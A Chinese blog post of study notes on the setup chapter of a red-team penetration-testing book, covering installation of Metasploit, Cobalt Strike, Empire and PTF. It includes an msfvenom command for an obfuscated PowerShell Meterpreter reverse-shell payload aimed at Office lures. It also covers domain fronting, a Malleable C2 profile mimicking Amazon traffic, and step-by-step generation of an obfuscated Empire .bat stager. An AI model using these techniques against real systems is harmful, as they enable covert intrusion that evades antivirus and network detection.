26

前言

最近在阅读黑客秘籍-渗透测试实用指南第二版,在准备环境时发现已经出了第三版,所以在本博客作为记录,学习一章就更新一篇文章作为阅后总结。

本书第三版是以红队视角进行编写,学完本书后希望能对红队有一个完整的了解。

借用B站狂神说JAVA的一句话:只要学不死就往死里学!

赛前准备-安装-1

外部服务器搭建

购买国外或国内服务器,如阿里云、腾讯云、华为云、搬瓦工、谷歌云等等。

一台到两台。1核1G或更高都可。

书中推荐使用ubuntu系统,下载 Cert(证书)。

chmod 600 cert		#只有拥有者有读写权限

搭建渗透测试框架

PTF 框架

书中所注,未使用过

TrustedSec 公司的渗透测试框架 (PTF)。PTF 框架是一些脚本的合集,可以为你做大量的艰苦工作并为其他所有内容创建了一个框架。让我们通过一个快速示例来安装我们所有的漏洞利用模块,信息收集模块,后渗透利用模块,PowerShell 攻击模块和漏洞分析工具:

安装步骤

sudo su -
apt-get update
apt-get install python
git clone https://github.com/trustedsec/ptf /opt/ptf
cd /opt/ptf && ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest

Metasploit

Metasploit是国内最常用的渗透测试框架之一,集成当下最全的漏洞利用模块,安装方法如下:

ubuntu中添加kali源

vim /etc/apt/sources.list

deb http://mirrors.cloud.tencent.com/kali/ kali-rolling main contrib non-free
deb-src http://mirrors.cloud.tencent.com/kali/ kali-rolling main contrib non-free

添加数字签名

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

安装msf

apt update&&apt install metaspliot-framework -y  安装

apt update; apt install metasploit-framework 更新

Cobalt Strike

CS也是目前红队中使用的最广泛的团队协作平台,可自定义插件,跨平台使用(没啥可说,牛逼思密达)

学习文章:https://github.com/aleenzz/Cobalt_Strike_wiki

下载地址自行查找。。。我准备网上随意找,但是不知道有没有后门,看到我文章的大佬们,自行下载吧。

有java环境即可,下载解压后进去工具目录

执行权限
chmod a+x teamserver

运行命令
./teamserver ip 密码

本机运行cobalstrike.jar

输入密码即可,端口未自定义就默认完事

image-20210126012100233

Empire

此工具也是神器,对域渗透支持挺不错,博客中也介绍过此工具的基本使用方法。个人使用的话,感觉不是很稳定。(可能因为服务器原因)

下载
git clone https://github.com/EmpireProject/Empire.git

切换至工具目录setup下
./install.sh
出现setip comlete则安装成功
./reset.sh

image-20200210180914768

切换至主目录运行./empire,如果出现错误则使用pip安装模块即可

若出现无pydispatcher模块名,则使用以下命令解决即可
pip install PyDispatcher

若出现No module named Crypto.Cipher
pip install pycrypto

混淆 Meterpreter Payload

摘录书中

如果我们正在针对目标进行一些社工尝试,我们可能会使用 Word 或 Excel 文档作为我们的 payload(攻击载荷)的载体。 但是,一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web下载我们的 payload,因为这些操作可能会触发目标机器中的杀毒软件的警报。 所以,这里给出一个简单的解决方案,使用 PowerShell 进行模糊处理:

msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter- 64.ps1 LHOST=127.0.0.1

我们甚至可以将混淆提升到新的水平,并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload,我们将在本书中详细介绍这些混淆器。

image-20210126012550001

此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考以下链接实现:Meterpreter Paranoid Mode。

最后,在本书的后面部分,我们将讨论如何重新编译利用 Metasploit/Meterpreter 来绕过基于主机和网络的检测工具。(比较期待)

Cobalt Strike

什么是 Cobalt Strike 呢?它是一种用来后期持久渗透,横向移动,流量隐藏、数据窃取的工具。 Cobalt Strike 并没有直接的漏洞利用,也没有通过最新的 0-Day 漏洞来破坏系统。当你已经在服务器上执行了 CS 的恶意代码或者将 CS 用作网络钓鱼活动的一部分时,你就能感受到 CS的功能是多么广泛并且强大。 一旦你可以在机器上执行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)连接回连到 C2 服务器(teamserver)。

域前置

类似于cdn技术,使用一个正常的域名解析到我们的c2服务器上面,隐藏恶意的流量,这样可规避某些安全监测。

image-20210126013131538

image-20210126013218086

通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。

PS:科学上网

使用谷歌产品伪装c2服务器

https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike

注:在本书出版时,AWS(甚至谷歌云)已经启动实现对域名前置的保护( https://amzn.to/2I6lSry )。这并不能

阻止这种类型的攻击,只是需要不同的第三方资源来进行利用。

阿里巴巴 CDN 域前置技术

https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142

定制C2配置文件

Cobalt Strike 可以操纵你的 Beacon 通信,这对红队成员来说是一个非常有用的特性。使用自定义 C2 配置文件,你可以让所有来自受感染主机系统的流量看起来和普通流量无异。现在我们会发现越来越多的内网环境中会针对第7层网络应用层进行过滤。很多时候蓝队在这层中找寻那些网络通信中的异常流量,那么我们怎样才能让我们的C2通信变得如同正常的 Web 流量呢?这就是可定制 C2 配置文件发挥作用的地方。看看这个例子。阅读这个例子,你会看到一些显而易见的信息:

我们可以看出这将会产生带有URI路径的HTTP请求:

set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;

主机 header 设置为 Amazon:

header “Host” “www.amazon.com”;

甚至一些自定义服务器的 header 也从 C2 服务器发回:

header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”; 
header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t

现在很多红队已经在许多不同的活动中使用了这些配置文件,许多安全厂商已经给所有常见的自定义配置文件创建了指纹签名。为了解决这个问题,我们能做的是: 确保修改了配置文件中的所有静态字符串,确保更改了所有User-Agent 信息,使用真实的证书配置 SSL(不要使用 Cobalt Strike 默认的 SSL 证书),调整抖动率,并更改客户端的的 beacon 时间。 最后一个注意事项是确保通过 POST(http-post)命令进行通信,因为如果不这样做可能会导致使用自定义配置文件时出现很多问题。 如果你的配置文件注明了通过 http-get 进行通信,它仍然有效,但上传大文件将一直被限制。 请记住,GET 请求通常限制在2048个字符以内。

SpectorOps 安全团队还创建了可定制混淆 C2 配置文件的项目.

https://github.com/bluscreenofjeff/Malleable-C2-Randomizer

译者注: 这个脚本可以将 Cobalt Strike 的配置文件进行混淆来绕过一些基于签名检测的软件,其原理是将变量替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 配置文件。

Cobalt Strike Aggressor 脚本

Cobalt Strike 项目有很多贡献者。Aggressor 脚本是一种面向红队操作和对手模拟的脚本语言,其灵感来源于可脚本化的 IRC 客户端和机器人。开发它的目的有两个:

  1. 你可以创建长时间运行的机器人来模拟虚拟红队成员,并与你并肩进行黑客攻击

  2. 你还可以根据你的需要使用它来扩展和修改 Cobalt Strike 客户端的功能 官方介绍页面:https://www.cobaltstrike.com/aggressor-script/index.html

    例子:HarleyQu1nn 将不同的 Aggressor 脚本放在一个项目中提供给你用于后续漏洞利用:

    http://bit.ly/2qxIwPE

PowerShell Empire

​ Empire 是一个后期漏洞利用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 项目的合并。 该框架提供了加密安全通信和灵活的架构。在 PowerShell 方面,Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能。并且 Empire 有很多可以快速部署的后期漏洞利用模块,从键盘记录器到 Mimikatz。Empire 还可以调整通信,躲避网络检测。所有的这些功能都封装在一个以实用性为重点的 框架中。对于红队人员来说,PowerShell 是我们最好的朋友之一。在初始化有效 payload 之后,所有随后的攻击都保存在内存中。Empire 最好的地方就是它被开发者积极地维护和更新中,以便你可以使用最新的后期漏洞利用模块进行攻击。 它们还具有适用于 Linux 和 OS X 的 C2 连接。因此,你仍然可以创建基于 MAC 的 Offiffiffice 宏,当执行之后,在 Empire 中拥有一个全新的代理。

​ 我们将通过本书更详细地介绍 Empire,以便你了解它的威力如何。在设置 Empire 方面,确保你已安全地配置它非常重要:

  • 将证书路径 CertPath 设置为一个真实可信的 SSL 证书。

  • 更改 DefaultProfifile 端点。许多第7层防火墙都在寻找确切的静态端点。

  • 更改用于通信的用户代理。

在前两版书中我们提过,Metasploit 的源文件用于自动化,Empire 现在也支持自动运行的脚本,这样可以提高效率。

运行 Empire:

  • 初始化 Empire
cd /opt/Empire && ./setup/reset.sh
  • 退出
exit
  • 安装证书(最好是使用真实受信任的证书)
./setup/cert.sh
  • 开始运行 Empire
./empire
  • 创建一个监听器
listeners选择你的监听器类型(我们实验使用的是 HTTP) 

uselistener [按两次 tab 键来查阅所有类型的监听器]

uselistener http
  • 查看监听器的全部配置信息
info
  • 设置以下内容(即设置KillDate 12/12/2020)
KillDate - 规定一个结束时间然后自动清理代理 

DefaultProfile - 确保更改所有端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,例

如/seriously/notmalware.php

DefaultProfile - 确保也更改你的用户代理。 我一般是查看使用过的顶级用户代理并选择从中选择一个。

Host - 更改为通过端口443的 HTTPS

CertPath - 添加 SSL 证书的路径

UserAgent - 将其更改为你的常用用户代理

Port - 设置为443

ServerVersion - 将其更改为另一个常见的服务器 Header
  • 当你完成所有这些,开启你的监听器
execute

image-20210126014652875

配置 Payload

payload 是将在受害者系统上运行的实际恶意软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但

Empire 以其基于 PowerShell Windows 的 Payload 而闻名:

  • 进入主菜单
main
  • 为 OSX,Windows,Linux 创建可用的 stager。 我们将创建一个简单的 bat 文件作为示例,但实际上你可以,为 Offiffiffice 文件创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入工具)
usestager [按两次tab键来查阅所有不同的类型] 
usestager windows/launcher_bat
  • 查看所有设置
info
  • 配置所有 Settings
http 把 Listener 设置为 http 

配置 UserAgent(用户代理)
  • 创建 Payload
generate
  • 在另一个终端窗口中查看你的 payload
cat /tmp/launcher.bat

image-20210126014935177

如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会创建一个 Offiffiffice 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的payload,但这只是众多示例中的一个。

如果你尚未在 Kali 图形界面上安装 PowerShell,那么最好的方法是手动安装它。 在 Kali 上安装 PowerShell:

apt-get install libunwind8 

wget http://security.debian.org/debian- security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb

dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb

wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1- 7ubuntu0.3_amd64.deb

dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb

wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2- 1.ubuntu.16.04_amd64.deb

dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb

dnscat2

p0wnedShell

Pupy Shell

Merlin

Nishang